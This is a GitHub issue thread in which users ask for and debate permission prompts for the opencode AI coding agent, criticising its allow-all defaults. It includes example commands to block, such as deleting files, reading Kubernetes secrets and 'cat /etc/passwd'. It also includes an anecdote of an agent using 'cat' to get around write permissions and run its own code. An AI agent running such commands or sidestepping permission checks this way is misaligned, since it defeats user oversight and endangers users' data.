Implement permissions in TUI #169

Originally created by @Keyruu on GitHub (Jun 20, 2025).

Originally assigned to: @adamdotdevin on GitHub.

Before the rewrite every edit and tool had to be authorized by the user, which I quite liked. Is there no such option anymore?

Originally created by @Keyruu on GitHub (Jun 20, 2025). Originally assigned to: @adamdotdevin on GitHub. Before the rewrite every edit and tool had to be authorized by the user, which I quite liked. Is there no such option anymore?

yindo closed this issue

yindo commented

@lieblius commented on GitHub (Jun 27, 2025):

I understand the discussion in #9, but yeah having no permissions at all is the only thing holding me back from using this tool at the moment. With claude code I can currently scope things down how I like pretty granularly, but even their permission logic is limited and vulnerable. To provide some examples (outside of things like |, &, etc.), I would like to be able to run commands like kubectl get, but not kubectl get secrets, or find . -name "*.log", but not find . -name "*.log" -exec rm {} \;. I think it is an unreasonable ask to attempt covering all edge cases, as script args semantics are arbitrary, but it might be nice to provide users a complete regex based solution that they can manage on their own. If permissions are not a design goal, examples of containerization or some form of sandboxing might be nice to include in docs.

@lieblius commented on GitHub (Jun 27, 2025): I understand the discussion in #9, but yeah having no permissions at all is the only thing holding me back from using this tool at the moment. With claude code I can currently scope things down how I like pretty granularly, but even their permission logic is limited and vulnerable. To provide some examples (outside of things like `|`, `&`, etc.), I would like to be able to run commands like `kubectl get`, but not `kubectl get secrets`, or `find . -name "*.log"`, but not `find . -name "*.log" -exec rm {} \;`. I think it is an unreasonable ask to attempt covering all edge cases, as script args semantics are arbitrary, but it might be nice to provide users a complete regex based solution that they can manage on their own. If permissions are not a design goal, examples of containerization or some form of sandboxing might be nice to include in docs.

yindo commented

@aspiers commented on GitHub (Jun 27, 2025):

Yeah when applied to command execution and tool calls, this is an absolutely essential security feature. Without fine-grained permissions you're basically forcing users to either run everything inside a sandbox (e.g. container), which can easily be impractical in some scenarios, or to blindly trust up front that it's not going to accidentally do something dangerous, or even worse, deliberately malicious (e.g. due to a malware MCP server or trojaned LLM). As @lieblius mentioned, this is not just about writing files, it's about potential execution of arbitrary commands which is a huge no-no from a security perspective. Good tools should earn trust, not assume it.

I do appreciate the desire to avoid users having to choose what's safe up front. However this is easily achieved with a default list of regexes for commonly used and safe commands, and then allowing users to modify that list.

@aspiers commented on GitHub (Jun 27, 2025): Yeah when applied to command execution and tool calls, this is an absolutely **essential** security feature. Without fine-grained permissions you're basically forcing users to either run everything inside a sandbox (e.g. container), which can easily be impractical in some scenarios, or to blindly trust up front that it's not going to accidentally do something dangerous, or even worse, deliberately malicious (e.g. due to a malware MCP server or [trojaned LLM](https://www.ndss-symposium.org/wp-content/uploads/2025-s164-paper.pdf)). As @lieblius mentioned, this is not just about writing files, it's about potential execution of arbitrary commands which is a huge no-no from a security perspective. Good tools should earn trust, not assume it. I do appreciate the desire to avoid users having to choose what's safe up front. However this is easily achieved with a default list of regexes for commonly used and safe commands, and then allowing users to modify that list.

yindo commented

@bchilcott commented on GitHub (Jul 1, 2025):

This is the only blocker preventing this from being allowed in my organisation, and presumably that would be the case in many others too.

@bchilcott commented on GitHub (Jul 1, 2025): This is the only blocker preventing this from being allowed in my organisation, and presumably that would be the case in many others too.

yindo commented

@thdxr commented on GitHub (Jul 4, 2025):

this is 100% on our list - the backend is already implemented we'll get to this next week

@thdxr commented on GitHub (Jul 4, 2025): this is 100% on our list - the backend is already implemented we'll get to this next week

yindo commented

@adamdotdevin commented on GitHub (Jul 4, 2025):

yeah i'll get this added to tui next week, have some thoughts around how i want the ux

@adamdotdevin commented on GitHub (Jul 4, 2025): yeah i'll get this added to tui next week, have some thoughts around how i want the ux

yindo commented

@GitMurf commented on GitHub (Jul 8, 2025):

So that I understand, is everything auto accept right now? or is there at least some blacklist like rm, cd etc. that will still require permission / acceptance by the user? Claude Code has often bitten me with being overly eager and I have even had it try and mess with git by reverting to an older change which unfortunately adds additional risk to the defense of "git can protect you".

Thanks for the continued great work!

@GitMurf commented on GitHub (Jul 8, 2025): So that I understand, is everything auto accept right now? or is there at least some blacklist like `rm`, `cd` etc. that will still require permission / acceptance by the user? Claude Code has often bitten me with being overly eager and I have even had it try and mess with git by reverting to an older change which unfortunately adds additional risk to the defense of "git can protect you". Thanks for the continued great work!

yindo commented

@dnlbauer commented on GitHub (Jul 9, 2025):

The lack of a permission prompt for operations is what stops me from trying to use opencode over Claude code as a daily driver. The risk of unintended and destructive changes to the project or even the system is just too high for me.

@dnlbauer commented on GitHub (Jul 9, 2025): The lack of a permission prompt for operations is what stops me from trying to use opencode over Claude code as a daily driver. The risk of unintended and destructive changes to the project or even the system is just too high for me.

yindo commented

@mhsdef commented on GitHub (Jul 9, 2025):

On OSX, if not a big lift, maybe we could use some Seatbelt policies a la Gemini CLI too?

@mhsdef commented on GitHub (Jul 9, 2025): On OSX, if not a big lift, maybe we could use some Seatbelt policies a la Gemini CLI too?

yindo commented

@lieblius commented on GitHub (Jul 10, 2025):

@adamdotdevin Just checking, the concept of modes in its current implementation is not the final solution for this specific issue right? What is shipped looks great, but just wanted to confirm some sort of fine grained configuration within the bash tool is planned, or some other solution that removes the need for it in the first place.

@lieblius commented on GitHub (Jul 10, 2025): @adamdotdevin Just checking, the concept of modes in its current implementation is not the final solution for this specific issue right? What is shipped looks great, but just wanted to confirm some sort of fine grained configuration within the bash tool is planned, or some other solution that removes the need for it in the first place.

yindo commented

@jayair commented on GitHub (Jul 11, 2025):

Yeah modes wasn't meant to address permissions.

@jayair commented on GitHub (Jul 11, 2025): Yeah modes wasn't meant to address permissions.

yindo commented

@Keyruu commented on GitHub (Jul 16, 2025):

I really think permissions will put this on top of the AI coding agents. With this present it would enable editor integration (#216) and to approve changes in Neovim, which I thought would be a big focus of this project, because it says this in the README:

opencode is built by neovim users and the creators of terminal.shop; we are going to push the limits of what's possible in the terminal.

@Keyruu commented on GitHub (Jul 16, 2025): I really think permissions will put this on top of the AI coding agents. With this present it would enable editor integration (#216) and to approve changes in Neovim, which I thought would be a big focus of this project, because it says this in the README: > opencode is built by neovim users and the creators of [terminal.shop](https://terminal.shop/); we are going to push the limits of what's possible in the terminal.

yindo commented

@JonBoyleCoding commented on GitHub (Jul 20, 2025):

In some respects I like that there is a lot of things opencode will just do without needing permission - but there needs to be some ability to control what it can do. The amount of times it's gone and try to run a sudo command, or launch another tui app (that I'm working on building with opencode) when it tries to test something messing up the session (usually permanently, so have to start anew).

@JonBoyleCoding commented on GitHub (Jul 20, 2025): In some respects I like that there is a lot of things opencode will just do without needing permission - but there needs to be some ability to control what it can do. The amount of times it's gone and try to run a sudo command, or launch another tui app (that I'm working on building with opencode) when it tries to test something messing up the session (usually permanently, so have to start anew).

yindo commented

@peloemlyn commented on GitHub (Jul 23, 2025):

This is the main thing holding me back from using opencode as my main tool. The way I would use it is to allow any non destructive tool calls but confirm any destructive ones. I think the way Claude Code does it is fine. I'm not sure if Claude Code's permissions are on a "command" basis or if you can get granular with approving command with specific parameters. I feel like anything would be better than nothing, but some matching system to approve commands with parameters seems like it would be needed to offer the most flexible experience given that some tools tend to do many different things.

@peloemlyn commented on GitHub (Jul 23, 2025): This is the main thing holding me back from using opencode as my main tool. The way I would use it is to allow any non destructive tool calls but confirm any destructive ones. I think the way Claude Code does it is fine. I'm not sure if Claude Code's permissions are on a "command" basis or if you can get granular with approving command with specific parameters. I feel like anything would be better than nothing, but some matching system to approve commands with parameters seems like it would be needed to offer the most flexible experience given that some tools tend to do many different things.

yindo commented

@JonBoyleCoding commented on GitHub (Jul 23, 2025):

This is the main thing holding me back from using opencode as my main tool. The way I would use it is to allow any non destructive tool calls but confirm any destructive ones. I think the way Claude Code does it is fine. I'm not sure if Claude Code's permissions are on a "command" basis or if you can get granular with approving command with specific parameters. I feel like anything would be better than nothing, but some matching system to approve commands with parameters seems like it would be needed to offer the most flexible experience given that some tools tend to do many different things.

With Claude code you can do some filtering for allow/blocking. It understands * as a wildcard at the very least.

@JonBoyleCoding commented on GitHub (Jul 23, 2025): > This is the main thing holding me back from using opencode as my main tool. The way I would use it is to allow any non destructive tool calls but confirm any destructive ones. I think the way Claude Code does it is fine. I'm not sure if Claude Code's permissions are on a "command" basis or if you can get granular with approving command with specific parameters. I feel like anything would be better than nothing, but some matching system to approve commands with parameters seems like it would be needed to offer the most flexible experience given that some tools tend to do many different things. With Claude code you can do some filtering for allow/blocking. It understands * as a wildcard at the very least.

yindo commented

@alanxoc3 commented on GitHub (Jul 23, 2025):

Bump! This is my biggest concern to using opencode. I currently put this in my config file, which turns off "task" and "bash" as those are currently both the tools that can execute scripts from how I understand it. But I'd love to whitelist commands that can be run. Or maybe setting up a devcontainer is the correct way to approach this, that would be a massive headache however.

Or even prompting me everytime it wants to run an external command would be great.

  "mode": {
    "build": {
      "tools": {
        "bash":            false,
        "task":            false,

        "edit":            true,
        "patch":           true,
        "write":           true,
        "multiedit":       true,

        "glob":            true,
        "grep":            true,
        "list":            true,
        "lsp_diagnostics": true,
        "lsp_hover":       true,
        "read":            true,
        "todoread":        true,
        "todowrite":       true,
        "webfetch":        true
      }
    },
    "plan": {
      "tools": {
        "bash":            false,
        "task":            false,

        "edit":            false,
        "patch":           false,
        "write":           false,
        "multiedit":       false,

        "glob":            true,
        "grep":            true,
        "list":            true,
        "lsp_diagnostics": true,
        "lsp_hover":       true,
        "read":            true,
        "todoread":        true,
        "todowrite":       true,
        "webfetch":        true
      }
    },
    "danger": {
      "tools": {
        "bash":            true,
        "task":            true,

        "edit":            true,
        "patch":           true,
        "write":           true,
        "multiedit":       true,

        "glob":            true,
        "grep":            true,
        "list":            true,
        "lsp_diagnostics": true,
        "lsp_hover":       true,
        "read":            true,
        "todoread":        true,
        "todowrite":       true,
        "webfetch":        true
      }
    }
  }

@alanxoc3 commented on GitHub (Jul 23, 2025): Bump! This is my biggest concern to using opencode. I currently put this in my config file, which turns off "task" and "bash" as those are currently both the tools that can execute scripts from how I understand it. But I'd love to whitelist commands that can be run. Or maybe setting up a devcontainer is the correct way to approach this, that would be a massive headache however. Or even prompting me everytime it wants to run an external command would be great. ``` "mode": { "build": { "tools": { "bash": false, "task": false, "edit": true, "patch": true, "write": true, "multiedit": true, "glob": true, "grep": true, "list": true, "lsp_diagnostics": true, "lsp_hover": true, "read": true, "todoread": true, "todowrite": true, "webfetch": true } }, "plan": { "tools": { "bash": false, "task": false, "edit": false, "patch": false, "write": false, "multiedit": false, "glob": true, "grep": true, "list": true, "lsp_diagnostics": true, "lsp_hover": true, "read": true, "todoread": true, "todowrite": true, "webfetch": true } }, "danger": { "tools": { "bash": true, "task": true, "edit": true, "patch": true, "write": true, "multiedit": true, "glob": true, "grep": true, "list": true, "lsp_diagnostics": true, "lsp_hover": true, "read": true, "todoread": true, "todowrite": true, "webfetch": true } } } ```

yindo commented

@Mic92 commented on GitHub (Jul 31, 2025):

https://github.com/sst/opencode/commit/5500698734c5119ccd7b0d9ab504bb3a53e5e39d something is happening on the implementation side.

@Mic92 commented on GitHub (Jul 31, 2025): https://github.com/sst/opencode/commit/5500698734c5119ccd7b0d9ab504bb3a53e5e39d something is happening on the implementation side.

yindo commented

@adamdotdevin commented on GitHub (Jul 31, 2025):

shipping today, going to consolidate all issues into this one to keep the conversation in one place and gather feedback on the implementation

@adamdotdevin commented on GitHub (Jul 31, 2025): shipping today, going to consolidate all issues into this one to keep the conversation in one place and gather feedback on the implementation

yindo commented

@michelesr commented on GitHub (Aug 7, 2025):

Is this implemented? I'm running v0.3.133 and I asked to remove a file and it just ran rm without confirmation.

@michelesr commented on GitHub (Aug 7, 2025): Is this implemented? I'm running `v0.3.133` and I asked to remove a file and it just ran `rm` without confirmation.

yindo commented

@rekram1-node commented on GitHub (Aug 7, 2025):

Is this implemented? I'm running v0.3.133 and I asked to remove a file and it just ran rm without confirmation.

see docs here:

By default, opencode allows all operations without requiring explicit approval.

You can enable stricter permissions in your opencode.json

@rekram1-node commented on GitHub (Aug 7, 2025): > Is this implemented? I'm running `v0.3.133` and I asked to remove a file and it just ran `rm` without confirmation. see docs [here](https://opencode.ai/docs/permissions/): > By default, opencode allows all operations without requiring explicit approval. You can enable stricter permissions in your opencode.json

yindo commented

@michelesr commented on GitHub (Aug 7, 2025):

You can enable stricter permissions in your opencode.json

Thanks, that worked. However I wonder whether the default should be a safer ask for both edit and bash?

@michelesr commented on GitHub (Aug 7, 2025): > You can enable stricter permissions in your opencode.json Thanks, that worked. However I wonder whether the default should be a safer `ask` for both `edit` and `bash`?

yindo commented

@rekram1-node commented on GitHub (Aug 7, 2025):

Thanks, that worked. However I wonder whether the default should be a safer ask for both edit and bash?

The allow all is very intentional, I remember the core team stating as much multiple times so you probably won't sway them there haha

@rekram1-node commented on GitHub (Aug 7, 2025): > Thanks, that worked. However I wonder whether the default should be a safer `ask` for both `edit` and `bash`? The allow all is very intentional, I remember the core team stating as much multiple times so you probably won't sway them there haha

yindo commented

@nikhilmaddirala commented on GitHub (Aug 8, 2025):

shipping today, going to consolidate all issues into this one to keep the conversation in one place and gather feedback on the implementation

When you set the permission to "ask" it's really difficult to reject the proposal. When you press escape it just continues with the same proposal again. When you press escape twice and give a new instruction it seems to get confused and often retries the same proposal again. Can we make it behave more like Claude code where escape = tell the agent what to do differently?

@nikhilmaddirala commented on GitHub (Aug 8, 2025): > shipping today, going to consolidate all issues into this one to keep the conversation in one place and gather feedback on the implementation When you set the permission to "ask" it's really difficult to reject the proposal. When you press escape it just continues with the same proposal again. When you press escape twice and give a new instruction it seems to get confused and often retries the same proposal again. Can we make it behave more like Claude code where escape = tell the agent what to do differently?

yindo commented

@zatevakhin commented on GitHub (Aug 9, 2025):

often have same issue as @nikhilmaddirala. for example in Avante on rejection i can point the reason of rejection to the agent, and it works quite well. will be nice to have configurable rejection behavior like stop agent immediately or provide reason, and each user can pick for themselves how to use it.

@zatevakhin commented on GitHub (Aug 9, 2025): often have same issue as @nikhilmaddirala. for example in Avante on rejection i can point the reason of rejection to the agent, and it works quite well. will be nice to have configurable rejection behavior like stop agent immediately or provide reason, and each user can pick for themselves how to use it.

yindo commented

@rekram1-node commented on GitHub (Aug 9, 2025):

@zatevakhin @nikhilmaddirala this will be addressed once this is merged: #1747

@rekram1-node commented on GitHub (Aug 9, 2025): @zatevakhin @nikhilmaddirala this will be addressed once this is merged: #1747

yindo commented

@michelesr commented on GitHub (Aug 13, 2025):

Latest release v0.4.41 is not asking any permission before running commands or editing files, I have:

{
  "$schema": "https://opencode.ai/config.json",
  "theme": "one-dark-custom",
  "permission": {
    "edit": "ask",
    "bash": "ask",
  }
}

Edit: I can see #1876 is open.

@michelesr commented on GitHub (Aug 13, 2025): Latest release v0.4.41 is not asking any permission before running commands or editing files, I have: ```json { "$schema": "https://opencode.ai/config.json", "theme": "one-dark-custom", "permission": { "edit": "ask", "bash": "ask", } } ``` Edit: I can see #1876 is open.

yindo commented

@ViggoV commented on GitHub (Aug 25, 2025):

Have the same (unacceptable) issue as @michelesr

The bash permission is simply not respected, which is completely insane in my book. Kudos on a supercool project, but I simply can't have it my computer if I can't constrain it reliably

@ViggoV commented on GitHub (Aug 25, 2025): Have the same (unacceptable) issue as @michelesr The bash permission is simply not respected, which is completely insane in my book. Kudos on a supercool project, but I simply can't have it my computer if I can't constrain it reliably

yindo commented

@rekram1-node commented on GitHub (Aug 25, 2025):

@ViggoV are you on latest? do you have any custom agent configurations?

@rekram1-node commented on GitHub (Aug 25, 2025): @ViggoV are you on latest? do you have any custom agent configurations?

yindo commented

@ViggoV commented on GitHub (Aug 25, 2025):

Yes, installed today via homebrew. Completely out-of-the-box. I specified

  "permission": {
    "edit": "ask",
    "bash": "ask",
  }

But the agent ran a git diff command without asking (and despite me specifying it should use jj, but that's beside the point)

In any case, I do not at all feel confident that OpenCode's security measures are sufficient and I very much disagree with the reckless full-permissions-by-default policy, so I will delete it and probably never touch it again.

@ViggoV commented on GitHub (Aug 25, 2025): Yes, installed today via homebrew. Completely out-of-the-box. I specified ``` "permission": { "edit": "ask", "bash": "ask", } ``` But the agent ran a `git diff` command without asking (and despite me specifying it should use `jj`, but that's beside the point) In any case, I do not at all feel confident that OpenCode's security measures are sufficient and I very much disagree with the reckless full-permissions-by-default policy, so I will delete it and probably never touch it again.

yindo commented

@k3d3 commented on GitHub (Aug 25, 2025):

I haven't had any issues with this functionality - I'm on master. You might need to install it outside of homebrew, as the functionality is very new.

Also, "completely insane in my book" feels a bit harsh, especially for a feature that's already been implemented.

@k3d3 commented on GitHub (Aug 25, 2025): I haven't had any issues with this functionality - I'm on master. You might need to install it outside of homebrew, as the functionality is very new. Also, "completely insane in my book" feels a bit harsh, especially for a feature that's already been implemented.

yindo commented

@ViggoV commented on GitHub (Aug 25, 2025):

Sorry for that phrasing

@ViggoV commented on GitHub (Aug 25, 2025): Sorry for that phrasing

yindo commented

@rubslopes commented on GitHub (Sep 2, 2025):

I'm on v.0.6.3 and it's not asking for any permission. It just executes.

Is it possible to reopen this ticket?

@rubslopes commented on GitHub (Sep 2, 2025): I'm on v.0.6.3 and it's not asking for any permission. It just executes. Is it possible to reopen this ticket?

yindo commented

@rekram1-node commented on GitHub (Sep 2, 2025):

@rubslopes which agent are you using? Build has no permissions by default

@rekram1-node commented on GitHub (Sep 2, 2025): @rubslopes which agent are you using? Build has no permissions by default

yindo commented

@rubslopes commented on GitHub (Sep 2, 2025):

@rekram1-node Claude Sonnet 4 provided by Github Copilot LM API. I have no config.json file.

@rubslopes commented on GitHub (Sep 2, 2025): @rekram1-node Claude Sonnet 4 provided by Github Copilot LM API. I have no `config.json` file.

yindo commented

@rubslopes commented on GitHub (Sep 2, 2025):

@rekram1-node Here's a quick example: https://opencode.ai/s/ivvW5Wvn

@rubslopes commented on GitHub (Sep 2, 2025): @rekram1-node Here's a quick example: https://opencode.ai/s/ivvW5Wvn

yindo commented

@rekram1-node commented on GitHub (Sep 2, 2025):

@rubslopes like I said, build agent/mode has no permissions by default so unless you have custom settings for permissions or you are using plan agent, this is expected behavior

@rekram1-node commented on GitHub (Sep 2, 2025): @rubslopes like I said, build agent/mode has no permissions by default so unless you have custom settings for permissions or you are using plan agent, this is expected behavior

yindo commented

@rekram1-node commented on GitHub (Sep 2, 2025):

just for reference, this is what I mean by agent^ pardon the terrible drawing

@rekram1-node commented on GitHub (Sep 2, 2025): <img width="1144" height="675" alt="Image" src="https://github.com/user-attachments/assets/40121212-d5ce-4258-b365-4b2af05fb87d" /> just for reference, this is what I mean by agent^ pardon the terrible drawing

yindo commented

@rubslopes commented on GitHub (Sep 2, 2025):

Oh, I think I get it now. When you said "has no permissions by default" you meant "no permissions control", right?

I did a new test: using plan mode, and then build mode with a config file defining "edit": "ask", "bash": "ask". It worked as expected, it asked for permissions both times.

Thanks @rekram1-node !

@rubslopes commented on GitHub (Sep 2, 2025): Oh, I think I get it now. When you said "has no permissions by default" you meant "no permissions control", right? I did a new test: using plan mode, and then build mode with a config file defining `"edit": "ask", "bash": "ask"`. It worked as expected, it asked for permissions both times. Thanks @rekram1-node !

yindo commented

@rgaufman commented on GitHub (Sep 9, 2025):

This is insane, so by default, if you ask it a question, it can go in and start editing files willy nilly? - this seems insane to me... I guess I'll keep using claude cli. Woah though.

@rgaufman commented on GitHub (Sep 9, 2025): This is insane, so by default, if you ask it a question, it can go in and start editing files willy nilly? - this seems insane to me... I guess I'll keep using claude cli. Woah though.

yindo commented

@eddienubes commented on GitHub (Oct 15, 2025):

Hi guys 👋, I really appreciate the time and effort you've put into the tool!

Nevertheless, default permission handling breaks the fundamental approach to access management.
In all the tools, software and cloud providers I've used, the principle of "Least Privilege" is paramount.

Someone installing opencode for the first time and running a test prompt is vulnerable to LLM's malicious choices.
Especially in the light of the recent paper - https://www.anthropic.com/research/small-samples-poison.

For some reason, installing a .dmg on my mac doesn't mean the app will be able to scan my entire system and do whatever it wants with it before I provide explicit disk access, therefore why opencode should?

UPD: Let me know if there's an issue discussing default permissions behaviour, I'll move the message over there.

@eddienubes commented on GitHub (Oct 15, 2025): Hi guys 👋, I really appreciate the time and effort you've put into the tool! Nevertheless, default permission handling breaks the fundamental approach to access management. In all the tools, software and cloud providers I've used, the principle of "Least Privilege" is paramount. Someone installing `opencode` for the first time and running a test prompt is vulnerable to LLM's malicious choices. Especially in the light of the recent paper - https://www.anthropic.com/research/small-samples-poison. For some reason, installing a `.dmg` on my mac doesn't mean the app will be able to scan my entire system and do whatever it wants with it before I provide explicit disk access, therefore why `opencode` should? UPD: Let me know if there's an issue discussing default permissions behaviour, I'll move the message over there.

yindo commented

@rekram1-node commented on GitHub (Oct 15, 2025):

the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them

i was thinking there should probably be a way to startup opencode in a “safe” mode because the default lack of permissions can be a deal breaker for some

@rekram1-node commented on GitHub (Oct 15, 2025): the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them i was thinking there should probably be a way to startup opencode in a “safe” mode because the default lack of permissions can be a deal breaker for some

yindo commented

@eddienubes commented on GitHub (Oct 15, 2025):

There could be an option to select permission "mode" upon the first start-up which explicitly warns users about consequences.

@eddienubes commented on GitHub (Oct 15, 2025): There could be an option to select permission "mode" upon the first start-up which explicitly warns users about consequences.

yindo commented

@rekram1-node commented on GitHub (Oct 15, 2025):

good idea

@rekram1-node commented on GitHub (Oct 15, 2025): good idea

yindo commented

https://github.com/pakar/bubblewrap_opencode

@pakar commented on GitHub (Nov 28, 2025):

As a temporary bandaid for this i made a simple drop-in bubblewrap script. It is not perfect, but it severely limits the amount of bad things opencode might cause.

@pakar commented on GitHub (Nov 28, 2025): As a temporary bandaid for this i made a simple drop-in bubblewrap script. It is not perfect, but it severely limits the amount of bad things opencode might cause. https://github.com/pakar/bubblewrap_opencode

yindo commented

https://youtu.be/S4oO27tXVyE?si=CceEtEkCdrUcNib3

@aspiers commented on GitHub (Dec 12, 2025):

I'm not sure what the status quo is for new users since I've already carefully configured the opencode permissions on my machines, but this worries me:

the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them

I very strongly recommend against this way of thinking. Software MUST be secure by default, otherwise you are needlessly putting your users at risk. Don't get me wrong, I'm totally supportive of giving users the choice to turn off the safety checks, assume responsibility for the risks, and then potentially shoot themselves in the foot. Indeed sometimes intentionally disabling checks is the right thing to do (e.g. when running in a VM, container, or other sandbox). But by default? Please don't!!

It was only 5 hours since I saw the last example of why this is so important:

but there are countless other examples.

i was thinking there should probably be a way to startup opencode in a “safe” mode because the default lack of permissions can be a deal breaker for some

No, default lack of permissions should be a deal breaker for ALL. Please. Respect the safety of your users. This has been industry-wide best practice for decades at this point. Sorry for the rant but this is important and I don't want this great project to get bitten by the next big AI security incident.

@aspiers commented on GitHub (Dec 12, 2025): I'm not sure what the status quo is for new users since I've already carefully configured the opencode permissions on my machines, but this worries me: > the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them I **very strongly** recommend against this way of thinking. Software MUST be secure by default, otherwise you are needlessly putting your users at risk. Don't get me wrong, I'm totally supportive of giving users the choice to turn off the safety checks, assume responsibility for the risks, and then potentially shoot themselves in the foot. Indeed sometimes intentionally disabling checks is the right thing to do (e.g. when running in a VM, container, or other sandbox). But by default? Please don't!! It was only 5 hours since I saw the last example of why this is so important: https://youtu.be/S4oO27tXVyE?si=CceEtEkCdrUcNib3 but there are [countless other examples](https://simonwillison.net/search/?tag=prompt-injection). > i was thinking there should probably be a way to startup opencode in a “safe” mode because the default lack of permissions can be a deal breaker for some No, default lack of permissions should be a deal breaker for ALL. Please. Respect the safety of your users. This has been industry-wide best practice for decades at this point. Sorry for the rant but this is important and I don't want this great project to get bitten by the next big AI security incident.

yindo commented

@rekram1-node commented on GitHub (Dec 12, 2025):

@aspiers Dax is reworking the defaults / permissions and I think you'll be happier w/ it

should ship soon

@rekram1-node commented on GitHub (Dec 12, 2025): @aspiers Dax is reworking the defaults / permissions and I think you'll be happier w/ it should ship soon

yindo commented

@aspiers commented on GitHub (Dec 12, 2025):

Excellent thanks so much @rekram1-node and Dax!

@aspiers commented on GitHub (Dec 12, 2025): Excellent thanks so much @rekram1-node and Dax!

yindo commented

@DragonDev1906 commented on GitHub (Dec 15, 2025):

what the status quo is for new users

Short answer: Terribly insecure.
On literally the first prompt I did, it created a python file in the current directory and ran it (no questions asked). I ended up running in plan mode until I found out how to disable that behavior.

Here are some things it can do by default:

Write in current directory (no questions asked, build mode) - Acceptable but should be asked first (I assume many run it from their home directory the first time)
Read arbitrary files (including /etc/passwd), even in plan mode - I'm not aware of any way to restrict that
Run arbitrary bash commands without asking for permission - You almost certainly don't want that and want an (automatic?) whitelist of specific commands

If you ask me: The first time any of these are tried to be used the user should be asked how many permissions he wants to give.

As for the config itself: There is no way to configure ask or deny for all tools added in the future. Given insecure defaults I really don't want new versions to come with a potential "here is another way to execute code" tool.

@DragonDev1906 commented on GitHub (Dec 15, 2025): > what the status quo is for new users Short answer: Terribly insecure. On literally the first prompt I did, it created a python file in the current directory and ran it (no questions asked). I ended up running in plan mode until I found out how to disable that behavior. Here are some things it can do by default: - Write in current directory (no questions asked, build mode) - Acceptable but should be asked first (I assume many run it from their home directory the first time) - Read arbitrary files (including /etc/passwd), even in plan mode - I'm not aware of any way to restrict that - Run arbitrary bash commands without asking for permission - You almost certainly don't want that and want an (automatic?) whitelist of specific commands If you ask me: The first time any of these are tried to be used the user should be asked how many permissions he wants to give. As for the config itself: There is no way to configure `ask` or `deny` for all tools added in the future. Given insecure defaults I really don't want new versions to come with a potential "here is another way to execute code" tool.

yindo commented

@rgaufman commented on GitHub (Dec 15, 2025):

what the status quo is for new users

Short answer: Terribly insecure.
On literally the first prompt I did, it created a python file in the current directory and ran it (no questions asked). I ended up running in plan mode until I found out how to disable that behavior.

Here are some things it can do by default:

Write in current directory (no questions asked, build mode) - Acceptable but should be asked first (I assume many run it from their home directory the first time)

Read arbitrary files (including /etc/passwd), even in plan mode - I'm not aware of any way to restrict that

Run arbitrary bash commands without asking for permission - You almost certainly don't want that and want an (automatic?) whitelist of specific commands

If you ask me: The first time any of these are tried to be used the user should be asked how many permissions he wants to give.

As for the config itself: There is no way to configure ask or deny for all tools added in the future. Given insecure defaults I really don't want new versions to come with a potential "here is another way to execute code" tool.

Totally, this tool should come with a giant warning and in my opinion nobody should use this tool for anything period. I uninstalled it and switched to Claude Cli and VS plugins like Roo Code.

Even if this is eventually addressed, personally I have no faith in any team that would think this kind of default is sensible past, present or future.

@rgaufman commented on GitHub (Dec 15, 2025): > > what the status quo is for new users > > Short answer: Terribly insecure. > On literally the first prompt I did, it created a python file in the current directory and ran it (no questions asked). I ended up running in plan mode until I found out how to disable that behavior. > > Here are some things it can do by default: > - Write in current directory (no questions asked, build mode) - Acceptable but should be asked first (I assume many run it from their home directory the first time) > - Read arbitrary files (including /etc/passwd), even in plan mode - I'm not aware of any way to restrict that > - Run arbitrary bash commands without asking for permission - You almost certainly don't want that and want an (automatic?) whitelist of specific commands > > If you ask me: The first time any of these are tried to be used the user should be asked how many permissions he wants to give. > > As for the config itself: There is no way to configure `ask` or `deny` for all tools added in the future. Given insecure defaults I really don't want new versions to come with a potential "here is another way to execute code" tool. Totally, this tool should come with a giant warning and in my opinion nobody should use this tool for anything period. I uninstalled it and switched to Claude Cli and VS plugins like Roo Code. Even if this is eventually addressed, personally I have no faith in any team that would think this kind of default is sensible past, present or future.

yindo commented

@pakar commented on GitHub (Dec 15, 2025):

@DragonDev1906 @rgaufman This is a general problem with basically all agentic coders out there today, and this is a yet to be solved in all of them. If it can execute any command they are dangerous. Heck, i have seen claude use "cat" to bypass write-permissions to update a script it had execute-permissions on and then execute what it wanted, not what i allowed it to do.

If you run any agentic coder at the moment i would severely restrict it from what it can access. I wrote this bubblewrap helper for this specific purpose. https://github.com/pakar/bubblewrap_opencode As long as i don't have any sensitive data within the project-folder i can let it do whatever from within there, especially when networking is disabled for it.

@pakar commented on GitHub (Dec 15, 2025): @DragonDev1906 @rgaufman This is a general problem with basically all agentic coders out there today, and this is a yet to be solved in all of them. If it can execute any command they are dangerous. Heck, i have seen claude use "cat" to bypass write-permissions to update a script it had execute-permissions on and then execute what it wanted, not what i allowed it to do. If you run any agentic coder at the moment i would severely restrict it from what it can access. I wrote this bubblewrap helper for this specific purpose. https://github.com/pakar/bubblewrap_opencode As long as i don't have any sensitive data within the project-folder i can let it do whatever from within there, especially when networking is disabled for it.

yindo commented

@DragonDev1906 commented on GitHub (Dec 15, 2025):

this is a yet to be solved in all of them

They likely all have that problem, yes. But I'd expect that at least the open source project (which is not bound to a single provider) would try its best and not ship with absolutely no protections (by default).

Ignoring the fact that many let the AI write source code files that are run by the AI or by yourself (often without reviewing them first): The complete lack of of basic protection is in my opinion not acceptable. ¹

I don't know bubblewrap in detail, but unless I'm mistaken your script does not prevent:

data leakage like cat /etc/passwd
overwriting binaries in ~/go/bin, which may then get executed from the host
Network communication on localhost (e.g. local administration web-pages)

I'm not trying to suggest running it normally ² (though sometimes you want it to be able to inspect parts of your system), but I'm trying to show that even this is error prone and problematic with the default settings.

With a proper implementation that asks the user for confirmation the first time a specific command is run you wouldn't get the "cat" to bypass write permissions problem unless the user doesn't read/review what he approves. Unless I'm mistaken that functionality for commands already exists and just isn't the default.

This one is especially hard, since you would need to choose between "can write files" and "can execute go run and similar commands" ↩︎
Personally, I'm a fan of seggregation using VMs, if only it where more convenient to setup/+use. ↩︎

